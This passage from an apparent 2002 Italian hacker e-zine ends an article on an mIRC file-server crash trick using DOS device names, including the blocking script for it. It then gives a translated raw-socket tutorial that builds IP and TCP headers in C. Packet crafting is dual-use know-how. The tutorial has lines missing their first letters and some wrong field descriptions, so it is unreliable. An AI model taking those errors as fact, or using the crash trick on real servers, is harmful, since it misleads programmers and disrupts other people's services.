| $left($2,3) == com ---\ |
| $left($2,3) == lpt ----> Questo invece, verifica se le prime 3 lettere |
| della seconda stringa inserita dal'utente è COM ( o nel secondo caso |
| LPT ) |
| |
| $mid($2,4,1) isnum ----> questo identificatore conterrà il carattere |
| o numero presente nella secconda stringa alla posizione numero 4 |
| |
| halt -----------> non visualizzare e non eseguire il comando |
| |
| QUindi il codice può essere riassunto così: |
| |
| Se le prime tre lettere della seconda parola è uguale a COM e il 4° |
| carattere è un numero, oppure se le prime tre lettere della seconda |
| parola è uguale a LPT è il 4° carattere è un numero allora blocca |
| l'esecuzione del comando. |
| |
| Nel momento in cui l'utente scriverà : CD COM99999 |
| questo pezzò verificherà: ESITO |
| |
| se le prime 3 lettere formano la parola COM ( o lpt ) SI ---\ |
| BLOCCA TESTO |
| se la 4° lettera è un numero SI ---/ |
| |
| |
| Mi sembra di essere stato chiaro, no??? Ovviamente, se masticate un pò |
| di mIRC scripting potrete personalizzare i comandi, cioè ad esempio |
| potete, invece di bloccare il testo, chiudere direttamente la finestra |
| della DCC usando il comando /close -f $nick , così invece di bloccare |
| la scritta, chiuderete direttamente la connessione..oppure un'altra |
| idea è quella di mandargli una bestemmia ai morti dell'utente :))))) |
| ....usate la fantasia..dunque! |
| |
| |
| ------------------------------- CONSIGLI ED INFORMAZIONI ------------ |
| |
| SCUSATEMI SE SCRIVO IN STAMPATELLO, MA VOGLIO CHE LEGGIATE QUESTA |
| PARTE...E SE NON LO FATE SIETE SOLO DEI PATETICI LAMER ! VI CHIEDO |
| SOLO DI NON PROVARE QUESTO "EXPLOIT" SU UTENTI CONNESSI..XKè SE LO |
| FATE SIETE SOLO DEI SEMPLICI BASTARDI!! VI SEMBRA GIUSTO DAR FASTIDIO |
| A QUALCUNO CHE NON CI GUADAGNA NIENTE METTENDO I PROPRIO PROGRAMMI A |
| VOSTA DISPOSIZIONE, E A QUELLA DEGLI ALTRI, FACENDOGLI SALTARE |
| L'Fserve ??? E SE LO FACESSERO A VOI??? PERCIò, COME HO DETTO PRIMA, |
| SE AVETE VOGLIA DI PROVARLO APRITEVI DUE MIRC E FATEVELO IN LOCALE! |
| |
| MESSAGGIO PER I POSSESSORI DI Fserve: RAGAZZI SE SIETE IN POSSESSO DI |
| FSERVE, E SAPETE CHE è BUGGATO, VI CONSIGLIO DI COPIARVI QUEL PEZZO DI |
| CODE NEI REMOTE!! VE LO CONSIGLIO DI CUORE... LA GENTE BASTARDA è |
| OVUNQUE! |
| |
| SPERO DI ESSERVI STATO CHIARO!! |
| |
| --------------------------------------------------------------------- |
| |
| |
| ------------------------------------ RINGRAZIAMENTI ----------------- |
| |
| Allora voglio ringraziare mephisto, zorks e tutti quelli dell'AIDSH |
| che sono tanto bravi, il mio nuovo amico XanTHic`...spero ke la cosa |
| sia reciproca :)) a Fig[a]rO' ( ti raccomando, la sezione consigli è |
| rivolta a te ahahah...skerzo), ad ADvanCed, scusa se ho sbagliato a |
| mettere le lettere minuscole ma non ho i log del tuo nick :)), cmq |
| parioso quel gioco qwerty, poi ringrazio il mio amico NSN, che sta a |
| scuola mia, ma non l'ho mai incontrato ;), ringrazio i ragazzi di #asm |
| (albe, ^spider^, quake, true-love per le serate passate insieme a |
| parlare di ragazze ), a SonGoten, a tutti quelli di #hackmaniaci e |
| #smanettoni..scusate ma siete troppi per listarvi, Net-destroyer e |
| tutti quelli di #veninside...grazie ragazzi |
| |
| (scusate se ho dimenticato qualcuno..ke non me ne voglia...ma ora non |
| mi passa nessuno per la capa) |
| |
| |
| FU
CK TO: a tutti i lamer che utilizzeranno sto exploit, a 2 ragazze in |
| particolare....di cui non faccio i nomi..penso che se lo riconoscano |
| di essere BASTARDE DeNTRO, e basta :)) |
| |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| |
| ----------------------------------- CONTATTI ------------------------ |
| |
| Se avete da dirmi qualcosa, complimentarvi, qualke barzelletta, |
| chiamarmi a lavoro :), farmi una chiaveca,criticare,uscire con me ( le |
| ragazze ovviamente :)) ) scrivetemi ad uno di questi indirizzi: |
| |
| |
| edivada@iol.it |
| edivada84@inwind.it |
| ice-man@mojodo.cjb.net |
| |
| Qui sotto allego anche la mia pgp public key |
| |
| |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| Version: PGP for Personal Privacy 5.0 |
| |
| mQGiBDwWZlYRBAD9N88yA6lO8aRgKw4kmP7raPBkfgLCqqDBiF8hvKRgifh7IryZ |
| NoKK41/GY46imQEkSW3hRBdKcWGyEPXNZq+8VHBtUnw2sEMK6riVsHFhWRb63vg0 |
| YjtJgvNLQbx19PUFblsUcKxYZ/EWG+8cRayvV3z9JbSkwGnO2B199VUrAwCg/8ho |
| atdLjJVU3+LD7vbw2qzese0D/0whunhS4nfIhm8utXvZZOlbQGGtc/HO3we1UVdj |
| OFqSKFyxGfjwnKhQPvbW7Bz5PpkGzqsX6TM9kkAMY3BiRmcNjhWp2qPxxDRSKuof |
| lkUK8Ttcvi3Qk7N99KEqsQJseSK2I+NBVLO5G0+oyz2JISyJOCBtwKXE/kjiOJBK |
| Gc/PBACGCmPvc0KiRh7QRmR16Jo3ZQoP/KWR5pWInsstw530d3OXbcOYDxw5CU7G |
| PyYSO6Gx50ZYID3AOjrKUwMoWehg58zz1T2N0B71YD4MEvh1TYKaAT60RdrxQQJd |
| gGRkvHnPJ+zbVwpWKJX6kxgDsynNDxFjgY8HzP9+epLFbDkjHLQmXl9dW2ljZV1b |
| bWFuXVtfXiA8ZWRpdmFkYTg0QGlud2luZC5pdD6JAEsEEBECAAsFAjwWZlYECwMB |
| AgAKCRDVdxhTYMQgHVSbAKCWk90XBQp7IQzdD2tRDp8q/tNlfACePPy34QYaHzH/ |
| b47azhRGHQb29a+5Ag0EPBZmVhAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65 |
| Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09 |
| jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brw |
| v0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiN |
| jrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrK |
| lQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIH/iT2n3VA |
| AgKMm/A+Qnd5fgI2qKpZE5o96B8TtodDdubh3lvtxG/TGjq6caoEcYccEU982nsC |
| ZXDQuaAZpZ9KpAnqCedfEIpWjhdulSS1SwD7kpv2RLJFxQUYFM+QDMAvH8tIrGWi |
| J6038tCDHH3KZeg2j0XF/JmUZSYLDHdqpexYyY6Xcp+S8bhM58FqL45/CH8OMZXM |
| eRz3AiziGc1mZZ7muRzg5CgYCnDi7La99E0P9IVtwUFW6KeJMPw8b69rvL9wiicx |
| m2W711ff8MbcQvOkQqPaeKJYibxnM+cyph9J0XBUE40UylWNGIy60tE7y653zqVL |
| tIJ1oiOQP+i/tpuJAD8DBRg8FmZW1XcYU2DEIB0RAjRvAKDFsS7Ws1NZPLB2Arg9 |
| o6ZDoMk9wACdEG4lEmb/aunHj02hBbCg6yTK/E4= |
| =ad/o |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| PR0GRAMMARE LE REW S0CKET (TRADUZi0NE) [XpTerminator] 0x11/0x1D |
+--------------------------------------------------------------------------+
| |
| -==============================- |
| | Programmare le raw socket | |
| | Nitr0gen | |
| =/____________________________\= |
| | traduzione by XpTerminator | |
| -==============================- |
| |
| Premetto innanzi tutto che questo testo non e` di mia fattura, io ho |
| effettuato la traduzione dalla lingua inglese e delle modifiche ed |
| aggiunte per rendere il testo più chiaro; visto che in lingua |
| italiana non si trovano documenti del genere, ed essendo |
| interessante, ho ritenuto utile effettuarne la traduzione. |
| |
| Exile 2000 International Coding Team |
| (http://www.exile2k.org) |
| Documentation about native raw socket programming |
| All rights reserved Exile Team |
| |
| Free to distribute this text just keep it's integrity |
| Ripping is lame remember this |
| |
| |
| Per domande e commenti: (in english! ;) |
| |
| Nitr0gen |
| nitr0gen@hackersnews.com |
| |
| oppure: (in italiano:) |
| |
| XpTerminator |
| xp_terminator@katamail.com |
| |
| |
| |
| -----[ Prefazione ]--- |
| |
| |
| A differenza di come pensano molte persone, |
| programmare le raw socket non è annoiante ed una |
| perdita di tempo, anzi è una buona esperienza per |
| imparare ed a volte è molto utile. Programmando le |
| raw socket si ha molta più flessibilità rispetto ai |
| programmi che utilizzano socket con librerie standard |
| e quindi diventa facile implementare nuovi protocolli |
| e controllare cosa sta realmente accadendo anche al |
| più basso dei livelli. |
| Costruire pacchetti tramite una libreria è efficiente, |
| ma immagina quanto lo sia tramite una TUA libreria. |
| Non mi trovo qui per spiegare quanto sia figo o |
| potente programmare le raw socket, quindi vado |
| direttamente al dunque. Prima di tutto, voglio |
| avvertire che per poter comprendere al meglio questo |
| testo bisogna avere una buona conoscenza del C e della |
| struttura della rete. |
| Nella prima parte del testo introdurrò l'header ip, |
| l'header tcp, quello udp ed infine quello icmp, ultimo |
| non per importanza. |
| |
| La seconda parte di questa prefazione è dedicata ai |
| lamer: per favore abbiate rispetto dell'autore del |
| testo (Nitr0gen) e non rippate queso testo per vostri |
| scopi! |
| |
| Nitr0gen and Exile 2000 International Coding Team: |
| don't worry! i've only translated your document, |
| and i've riported this! |
| |
| |
| |
| |
| |
| |
| -----[ Indice ]--- |
| |
| |
| |
| |
| [ Header Ip ] |
| - Teoria |
| - Frammentazione |
| - Checksum |
| - Esempi |
| |
| [ Header Tcp ] |
| - Teoria |
| - Esempi |
| |
| [ Header Udp ] |
| - Teoria |
| - Esempi |
| |
| [ Header Icmp ] |
| - Teoria |
| - Esempi |
| |
| [ Implementazione ] |
| |
| [ Conclusioni ] |
| |
| [ Appendice A ] |
| - Strutture e Funzioni |
| - Codici sorgente |
| |
| [ Riferimenti ] |
| |
| [ Ringraziamenti ] |
| |
| |
| |
| |
| [ CAPITOLO 1 ] |
| (HEADER IP) |
| |
| |
| ---[ Teoria |
| |
| |
| Bene, se sei interessato nella programmazione delle |
| raw socket presumo che tu conosca le basi del tcp/ip. |
| L'header IP fa parte del layer di rete della suite di |
| protocolli tcp/ip. Fondamentalmente l'header ip è usato |
| per routare i pacchetti attraverso una rete,come internet |
| una wan o una lan. Il metodo di trasmissione di questo |
| header è inaffidabile poichè non hai garanzia dell'arrivo |
| a destinazione del pacchetto, o meglio, quando invii |
| dei pacchetti, non hai la certezza che questi arrivino a |
| destinazione nel giusto ordine in cui li hai inviati. |
| Prendi per esempio i pacchetti A B. A viene inviato prima |
| di B, ma non è garantito che A prenderà la stessa strada |
| (routing) di B per arrivare a destinazione. Il risultato |
| di ciò è quello che ho detto prima, i pacchetti non |
| vengono ricevuti nello stesso ordine di partenza. Come ho |
| ho detto dalla partenza, questo testo non è un corso di |
| tcp/ip ma un testo sulla programmazione, quindi, mi |
| limiterò alla programmazione. A titolo di informazione, |
| quando costruisci un pacchetto non dimenticare htons() o |
| htonl() per rispettare il giusto ordine dei byte. |
| Dei lettori si staranno sicuramente chiedendo perchè sto |
| dicendo questo, rispondo dicendo che io ho passato un |
| mese per risolvere questo piccolo problema. |
| |
| |
| |
| |
| Questa è una rappresentazione ascii dell'header ip: |
| |
| |
| 0 15-16 31 |
| +-----+-----+-----------+-----------------------+ \ |
| | Ver | IHL | TOS | Total Length | \ |
| | (4) | (4) | (8) | (16 ) | | |
| +-----+-----+-----------+--------+--------------+ | |
| | Identification | Flags | Frag Offset | | |
| | (16) | (3) | (13) | | |
| +-----------+-----------+--------+--------------+ | |
| | TTL | Protocol | Header Checksum | 20 Bytes |
| | (8) | (8) | (16) | | |
| +-----------+-----------+-----------------------+ | |
| | Source Ip Address | | |
| | (32) | | |
| +-----------------------------------------------+ | |
| | Destination Ip Address | | |
| | (32) | / |
| +-----------------------------------------------+ / |
| < Options > |
| > (if any) < |
| +-----------------------------------------------+ |
| > < |
| < Data > |
| > < |
| |
| |
| |
| Version (4 bits): |
| Il campo version è usato per indicare la |
| versione del IP (Internet Protocol), quindi o IpV4 |
| o IpV6. |
| |
| |
| IHL (Internet Header Length, 4 bits): |
| Il campo ihl indica la lunghezza dell'header |
| Ip. Quando non si usano opzioni, il valore di default |
| dovrebbe essere 5. |
| |
| |
| TOS (Type Of Service, 8 bits): |
| Tos è utilizzato per specificare le necessità |
| del servizio. |
| |
| Vi sono 4 opzioni per TOS: |
| |
| *NOME* *Valore esadecimale* |
| |
| 1- Minimize delay 0x10 |
| 2- Maximize throughput 0x08 |
| 3- Maximize reliability 0x04 |
| 4- Minimize monatary cost 0x02 |
| |
| 1: Questa opzione è utilizzata da applicazioni |
| che trasmettono piccole quantità di dati e |
| necessitano di una risposta veloce. |
| |
| 2: Caso opposto: questo è usato da applicazioni |
| che trasmettono grandi quantità di dati. |
| |
| 3: Non ne parlerò in questo testo. |
| |
| 4: Non ne parlerò in questo testo. |
| |
| Dato che TOS è una caratteristica sperimentale |
| dell'ip, non ci dilungheremo su di esso in questo |
| testo. |
| |
| |
| Total Length (8 bits): |
| Questo specifica la grandezza del datagramma, |
| (header + dati). Per esempio: |
| Prendiamo un pacchetto (ip header + tcp header[syn]) |
| senza dati. La grandezza dell'header ip è 20 e quella |
| dell'header tcp anche, quindi il campo tot_len sarà 40. |
| |
| |
| Identification (16 bits): |
| Id è utilizzato per identificare i frammenti. |
| Quando un pacchetto non è frammentato questo campo |
| è inutile. L'Id solitamente aumenta da datagramma a |
| datagramma; ogni frammento ha lo stesso id del |
| datagramma a cui appartiene. |
| |
| |
| Flags (3 bits): |
| Questo campo dell'header ip è utilizzato dalla |
| frammentazione. Ci sono 4 flag: |
| |
| *NOME* *Valore esadecimale* |
| |
| No flags 0x00 |
| More fragment 0x01 |
| Don't fragment 0x02 |
| More and Dont't frag 0x03 |
| |
| More fragment significa che ci sono ancora frammenti |
| dopo questo datagramma, don't fragment dice che il |
| pacchetto non è frammentato. Quando un datagramma è |
| frammentato,l'ultimo frammento non ha mai il flag MF |
| (More Fragment) settato. |
| |
| |
| Fragment Offset (13 bits): |
| Questo è l'offset con il quale il pacchetto |
| è stato calcolato. Il primo datagramma ha offset 0. |
| Questo campo è calcolato a 64 bits. Quando si calcola |
| l'offset, l'ultimo offset sarà uguale a tot_len. |
| |
| |
| TTL (Time To Live, 8 bits): |
| Questo campo specifica quanti hop potrà |
| effettuare il datagramma. Esso è decrementato ogni |
| volta che viene rispedito (durante il routing: ogni |
| router decrementa di 1 questo valore). Quando il TTL |
| raggiunge 0, il datagramma viene ignorato e viene |
| inviato al mittente un messaggio icmp di TIME EXCEED. |
| Questo avviene per evitare che un datagramma giri |
| all'infinito per la rete. |
| |
| |
| Protocol (8 bits): |
| Questo campo specifica il protocollo per il |
| layer di trasmissione. Il valore può essere: |
| |
| *NOME* *Valore esadecimale* |
| |
| IPPROTO_TCP 0x06 |
| IPPROTO_UDP 0x11 |
| IPPROTO_ICMP 0x01 |
| |
| Vi sono anche altri protocolli ma non saranno trattati |
| in questo testo. Per maggiori informazioni osserva il |
| seguente file header che definisce tutte le costanti. |
| '/usr/include/linux/in.h' |
| |
| |
| Header CheckSum (16 bits): |
| Il checksum è utilizzato per verificare |
| l'integrità di un datagramma. Se i dati durante |
| il trasporto si sono corrotti o modificati,esso |
| è in grado di capirlo. Se il checksum non viene |
| specificato nel datagramma, questo viene |
| scartato senza alcun tipo di avvertenza. Dal |
| punto di vista del programmatore ciò risulta |
| annoiante.Osserva l'appendice A per la funzione |
| del checksum ( in_cksum() ). |
| |
| |
| Source Ip (32 bits): |
| L'indirizzo ip dell'host che ha inviato il |
| datagramma. |
| |
| Destination Ip (32 bits): |
| L'indirizzo ip della macchina a cui dovrà |
| essere "recapitato" questo datagramma. |
| |
| |
| Options (Variable): |
| Il campo options non sarà trattato in |
| questo testo. |
| |
| |
| |
| Dal punto di vista della programmazione, costruire |
| un header ip significa semplicemente riempire una struttura. |
| Dato che sto utilizzando Linux, tutti i riferimenti che farò |
| a file di sistema saranno basati su kernel 2.2.13. |
| |
| |
| |
| |
| ---[ Frammentazione |
| |
| |
| In parole povere, la frammentazione avviene |
| quando il MTU (Maximum Transfert Unit) è minore della |
| lunghezza totale del datagramma, quindi, dovremo |
| dividere il datagramma in piccoli pezzi, ed inviarli |
| uno alla volta; quando i pacchetti saranno ricevuti, |
| il datagramma originale sarà ricostruito. |
| Quando effettuiamo la frammentazione,abbiamo bisogno di |
| settare campi specifici dell'header Ip. |
| Il flag MF deve essere settato a tutti i frammenti, |
| tranne l'ultimo.L'offset del primo pacchetto sarà zero. |
| L'Id dovrà essere lo stesso per ogni frammento, per |
| identificare a quale serie di pezzi di datagramma |
| appartiene.Se l'header Ip è modificato anche in un solo |
| frammento il checksum dovrà essere ricalcolato. La |
| lunghezza totale dei frammenti prenderà il valore del |
| MTU. |
| |
| |
| |
| |
| ---[ Checksum |
| |
| |
| Calcolare il checksum di un header non è |
| difficile, osserva l'appendice A per vedere la funzione |
| responsabile di questa operazione. |
| Questo è il prototipo della funzione: |
| |
| unsigned short in_cksum(unsigned short *addr, int len); |
| |
| - unsigned short *addr : E' un puntatore all'header ip. |
| - int len : E' la lunghezza dell'header ip. |
| |
| |
| |
| |
| |
| |
| |
| ---[ Esempi |
| |
| |
| Il nome della sezione dice esplicitamente cosa |
| troverai qui. |
| |
| |
| |
| /*******************************************************************/ |
| /* Exile 2000 International Coding Team */ |
| /* (http://www.exile2k.org) */ |
| /* All rights reserved Exile Team */ |
| /* Copyright 2000 (C) Nitr0gen */ |
| /* */ |
| /* Questa funzione costruisce un header IP */ |
| /* SENZA FRAMMENTAZIONE */ |
| /* */ |
| /*******************************************************************/ |
| |
| void buildip_nf(){ /*** Funzione che costruisce un Header Ip ***/ |
| |
| struct iphdr *ip; |
| /*** A little step for a man, a big step for human kind ***/ |
| |
| ip = (struct iphdr *) malloc(sizeof(struct iphdr)); |
| /*** Alloca la memoria dinamica ***/ |
| |
| ip->ihl = 5; /*** Lunghezza in byte dell'Header IP ***/ |
| ip->version = 4; /*** Versione del protocollo IP ***/ |
| ip->tos = 0; /*** Sperimentale (Vedi sopra per i dettagli) ***/ |
| ip->tot_len = sizeof(struct iphdr) + 452 /*** Lunghezza totale del ***/ |
| /*** pacchetto ***/ |
| |
| |
| ip->id = htons(getuid()); |
| /*** ID (identification) del pacchetto, inutile nel nostro caso ***/ |
| |
| ip->ttl = 255; /*** Il pacchetto può effettuare |
| 255 hop ***/ |
| ip->protocol = IPPROTO_TCP; /*** Utilizziamo il tcp come protocollo |
| di trasmissione ***/ |
| ip->saddr = inet_addr("127.0.0.1"); /*** Ip sorgente ***/ |
| ip->daddr = inet_addr("127.0.0.1"); /*** Ip di destinazione ***/ |
| |
| ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); |
| /*** Checksum ***/ |
| |
| } |
| |
| |
| |
| |
| /*****************************************************************/ |
| /* Exile 2000 International Coding Team */ |
| /* (http://www.exile2k.org) */ |
| /* All rights reserved Exile Team */ |
| /* Copyright 2000 (C) Nitr0gen */ |
| /* */ |
| /* Questa funzione costruisce un header IP */ |
| /* FRAMMENTAZIONE del pacchetto */ |
| /* in 2 frammenti */ |
| /* MTU = 280 byte */ |
| /* */ |
| /*****************************************************************/ |
| |
| |
| |
| void buildip_f(){ |
| /*** Funzione che costruisce un header IP frammentato ***/ |
| |
| struct iphdr *ipf; |
| |
| ipf = (struct iphdr *) malloc(sizeof(struct iphdr)); |
| |
| /**** PRIMO FRAMMENTO ***/ |
| ipf->ihl = 5; /*** Lunghezza dell'header in 32 bit */ |
| ipf->version = 4; /*** Versione del protocollo IP */ |
| ipf->tos = 0; /*** TOS (Type of service), inutilizzato */ |
| ipf->tot_len = sizeof(struct iphdr) + 256; /* Lunghezza del |
| primo frammento */ |
| ipf->id = htons(1); /*** Per identificare i nostri 2 frammenti */ |
| ipf->ttl = 255; /*** Il datagramma può effettuare 255 hop */ |
| ipf->protocol = IPPROTO_TCP; /*** uso il protocollo TCP */ |
| ipf->saddr = inet_addr("127.0.0.1"); /*** Ip sorgente (localhost) */ |
| ipf->daddr = inet_addr("127.0.0.1"); /*** Ip di destinazione |
| (localhost) */ |
| ipf->frag_off = htons(0x2000); /*** Offset 0 e MF */ |
| ipf->check = in_cksum((unsigned short *)ipf,sizeof(struct iphdr)+256); |
| /*** Checksum */ |
| |
| |
| /**** Qui dovremmo inviare il primo frammento ***/ |
| |
| |
| /**** SECONDO FRAMMENTO ***/ |
| ipf->tot_len = sizeof(struct iphdr) + 196; /*** Aggiorno la lunghezza |
| dei datagrammi */ |
| ipf->frag_off = htons(32); /*** Offset del frammento ***/ |
| ipf->check = in_cksum((unsigned short *)ipf,sizeof(struct iphdr)+196); |
| /*** Ricalcoliamo il checksum dato che abbiamo cambiato dei campi */ |
| |
| /**** Qui dovremmo inviare il secondo frammento ***/ |
| |
| } |
| |
| |
| [ CAPITOLO 2 ] |
| (HEADER TCP) |
| |
| |
| |
| |
| ---[ Teoria |
| |
| |
| Diamo ora un'occhiata all'header tcp. Dato |
| he esso fa utilizzo di un metodo di trasmissione |
| ffidabile, prima di effettuare lo streaming dei |
| ati c'è bisogno di creare una connessione. Quindi, |
| os'è una connessione? Con il tcp noi la chiamiamo |
| hree-way-handshake ("stretta di mano" in tre fasi). |
| on il primo passo il client invia al server un |
| acchetto tcp SYN per sincronizzare (SYNchronize) |
| l numero di acknowledgment; con il secondo passo |
| l server "riconosce" (ACKnowledge) il syn, cioè |
| onferma la sua ricezione, tramite un pacchetto |
| YN_ACK. Se il SYN_ACK non è ricevuto dal client lo |
| tato della connessione tcp rimane in SYN_SENT e |
| l client continua l'invio di SYN al server, |
| inchè esso non lo riceverà e quindi confermerà |
| on SYN_ACK.Dopo la conferma dell'avvenuta ricezione |
| el SYN, il client risponde con un ACK per |
| onfermare l'avvenuta ricezione del SYN_ACK. |
| eoricamente una connessione è creata tra due host, |
| a se il server si disconnette prima di ricevere il |
| ostro ultimo pacchetto (ACK), noi crederemo di |
| ssere connessi, ma in realtà non lo siamo. Questo è |
| no dei problemi del tcp. Il Tcp (Transfer control |
| rotocol) come l'Ip ( Internet protocol ) ha un |
| hecksum per il controllo dell'integrità dei dati |
| he fa utilizzo di uno pseudo-header di cui |
| arleremo dopo. Per essere sicuri che un pacchetto |
| rovenga realmente dal source ip specificato nel |
| uo header, il tcp ha aggiunto la funzionalità di un |
| equence number, ciò significa che durante |
| 'handshake, prima il client invia un Seq Number,poi |
| l server effettua l'acknowledgement del SYN con il |
| roprio seq number. Il server attende nel successivo |
| acchetto del client il seq number come specificato |
| el campo ACK dell'ultimo pacchetto inviato. Ciò |
| reviene l'hijacking o lo spoofing di una |
| onnessione da parte di utenti malintenzionati. |
| cco un esempio: |
| |
| Host A < ---- TCP CONNECTION ----> HOST B |
| |
| ^---- HOST X (utente malintenzionato) |
| |
| Se non ci fosse il sequence number, HOST X |
| potrebbe inviare pacchetti a HOST B facendo |
| credere in realtà che questi provenghino da |
| HOST A. Oggi giorno, con la generazione del |
| sequence number ormai casuale questa tecnica è |
| quasi impossibile. |
| |
| uesto protocollo ha ancora altre opzioni in ambito |
| i sicurezza aggiunte a quelle dell'IP, ma non |
| erranno trattate in questo testo. Il Tcp permette |
| noltre un buon managing dei pacchetti in entrata |
| d in uscita. Grazie alla specifica nei pacchetti |
| elle porte sorgente e destinazione, molti processi |
| ossono comunicare contemporaneamente. Tutte queste |
| pzioni, incluse quelle non trattate, però hanno lo |
| vantaggio di diminuire la velocità di trasmissione. |
| i sei mai domandato cosa sia un socket? Il termine |
| ocket nel mondo tcp è usato spesso. Questo è |
| emplicemente un indirizzo ip combinato con un numero |
| i porta, ed una coppia di socket è la combinazione |
| ndirizzo Ip Sorgente + Porta Sorgente + Indirizzo Ip |
| i Destinazione + Porta di Destinazione. |
| |
| Il Tcp ha 6 funzioni principali: |
| |
| |
| URG: Invia dei dati urgenti, cioè con |
| maggiore priorità, all'host di |
| destinazione. |
| |
| ACK: "Acknowledgement" dei dati ricevuti. |
| Come visto sopra. |
| |
| PSH: Invia i dati all'host di destinazione. |
| |
| RST: Resetta una connessione. |
| |
| SYN: Sincronizza il Seq Number. |
| |
| FIN: Nessun altro dato da inviare da parte |
| dell'host. |
| |
| |
| |
| |
| |
| |
| |
| |
| chema dell'header TCP: |
| |
| 15-16 31 |
| -----------------------+-----------------------+ \ |
| Source Port | Destination Port | \ |
| (16b) | (16b) | | |
| -----------------------+-----------------------+ | |
| Sequence Number | | |
| (32b) | | |
| -----------------------------------------------+ | |
| Acknowledgement | | |
| (32b) | | |
| -------+------+--------+-----------------------+ 20 Bytes |
| D_Off | Res | Flags | Windows | | |
| (4b) | (6b) | (6b) | (16b) | | |
| -------+------+--------+-----------------------+ | |
| Checksum | Urgent Pointer | | |
| (16b) | (16b) | | |
| -----------------------+------------+----------+ | |
| Options | Padding | | |
| (24b) | (8b) | / |
| ------------------------------------+----------+ / |
| DATA < |
| > |
| |
| |
| |
| |
| ource Port (16 bits): |
| La porta sorgente del pacchetto. |
| I pacchetti di ritorno saranno ricevuti su |
| questa porta. |
| |
| estination Port (16 bits): |
| La porta di destinazione del |
| pacchetto. Il pacchetto sarà ricevuto su |
| questa porta dall'host di destinazione. |
| |
| equence number (32bits): |
| Il Sequence number è una buona |
| caratteristica della sicurezza del tcp. |
| Quando un pacchetto viene ricevuto, il |
| modulo tcp del kernel verifica se il |
| numero è giusto. Se non lo è, il |
| pacchetto viene scartato. |
| |
| |
| |
| cknowledgment (32 bits): |
| Quando il flag ACK è settato, il |
| valore di questo campo è settato al |
| valore del Seq number che ci si aspetta |
| di ricevere nel prossimo pacchetto da |
| parte dell'altro peer (capo della |
| connessione). |
| |
| |
| ata Offset (4 bits): |
| L'offset dei dati espresso a 32 |
| bit. Se non vi sono opzioni, il valore di |
| default è 5. |
| |
| |
| eserved (6 bits): |
| Riservato per un uso futuro, deve |
| essere settato a 0. |
| |
| lags (6 bits): |
| Ci sono 6 flag possibili nel tcp. |
| Come visto sopra, questi sono: |
| |
| |
| URG: Indicatore di urgenza |
| ACK: Acknowledge |
| PSH: Push |
| RST: Reset |
| SYN: Sincronizza il Seq Number |
| FIN: Nessun altro dato da inviare |
| |
| |
| indows (16 bits): |
| Questo specifica il MSS (maximum |
| segment size) del prossimo pacchetto. Se un |
| pacchetto supera questo valore, esso dovrà |
| essere frammentato. |
| |
| |
| hecksum (16 bits): |
| Il checksum per verificare |
| l'integrità dei dati.Il checksum è calcolato |
| con uno Pseudo-Header che spiegherò. Questa |
| è la struttura, tratta da Tcp/Ip Volume 1 |
| (The protocol) di W. Richard Stevens. Per |
| favore dedica un minuto di silenzio per |
| questo incredibile uomo che è morto, è stato |
| uno straordinario scrittore. |
| |
| Questa è la struttura: |
| |
| struct pseudohdr { |
| unsigned long saddr; |
| unsigned long daddr; |
| char useless; |
| unsigned char protocol; |
| unsigned short length; |
| }; |
| |
| L'header contiene l'indirizzo ip sorgente e |
| destinazione per evitare pacchetti mal-routati |
| (saddr, daddr). Il carattere "useless" esiste |
| solo per rispettare il limite dei 32 bit |
| (per questo "useless" = "inutile"). "protocol" |
| contiene il protocollo, in questo caso |
| IPPROTO_TCP, e "lenght", la lunghezza del |
| pacchetto. |
| |
| Il checksum è calcolato come per l'header Ip: |
| |
| |
| -------------- CUT HERE ----------------- |
| |
| #define PSEUDO sizeof(struct pseudohdr) |
| #define TCPHDR sizeof(struct tcphdr) |
| |
| struct pseudohdr pseudo; |
| struct tcphdr tcp; |
| |
| pseudo.saddr = inet_addr("127.0.0.1"); |
| pseudo.daddr = inet_addr("127.0.0.1"); |
| pseudo.useless = htons(0); |
| pseudo.protocol = IPPROTO_TCP; |
| pseudo.length = TCPHDR + data; |
| |
| tcp->check = in_cksum((unsigned short *)&pseudo, PSEUDO+TCPHDR); |
| |
| -------------- CUT HERE ---------------- |
| |
| |
| |
| Urgent Pointer (16 bits): |
| Questo campo è significante solo se il flag |
| URG è settato. Esso punta ad un'area dati e ciò |
| rende i dati urgenti dal punto di vista dei peer. |
| |
| |
| Options (24 bits): |
| Il campo options non verrà trattato in |
| questo testo. |
| |
| |
| Padding (8 bits): |
| Il campo padding è riempito con 0. Questo |
| avviene per rispettare il limite dei 32 bit: esso |
| parte con 32 bit e finisce con 32 bit. |
| |
| |
| ---[ Esempi |
| |
| |
| |
| /******************************************************************/ |
| /* Exile 2000 International Coding Team */ |
| /* (http://www.exile2k.org) */ |
| /* All rights reserved Exile Team */ |
| /* Copyright 2000 (C) Nitr0gen */ |
| /* */ |
| /* Questa funzione costruisce un header TCP */ |
| /* col flag SYN settato */ |
| /* e richiede una connessione telnet su localhost */ |
| /* */ |
| /******************************************************************/ |
| |
| |
| |
| |
| #define TCPHDR sizeof(struct tcphdr) |
| #define PSEUHDR sizeof(struct iphdr) |
| |
| |
| void build_tcp(){ |
| |
| struct tcphdr *tcp; /*** Header tcp ***/